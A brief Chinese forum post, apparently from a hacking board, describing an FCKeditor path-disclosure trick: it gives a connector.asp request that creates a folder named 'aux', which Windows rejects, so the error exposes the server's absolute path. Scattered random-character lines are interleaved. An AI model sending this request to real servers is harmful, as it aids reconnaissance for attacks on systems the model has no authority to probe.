最新FCKeditor爆绝对路径漏洞

admin

代码：FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=File&CurrentFolder=%2F&NewFolderName=aux

. r9 o3 ?! j! T; R" }5 H9 K
( \* P7 A2 x5 t版本未测试。。。

: k% v) L0 v0 @原理：新建个aux文件夹，aux在windows系统不支持，所以会报错，爆出绝对路径，这个比较鸡肋。求大神别喷。。。
6 A- R4 D! X4 @/ U, e
! G4 {7 {" L- d7 o6 L0 d
" y0 _  a; d8 R& e- K& [$ ~听说IIS都可以。。
4 E0 e" m1 }* X! {' y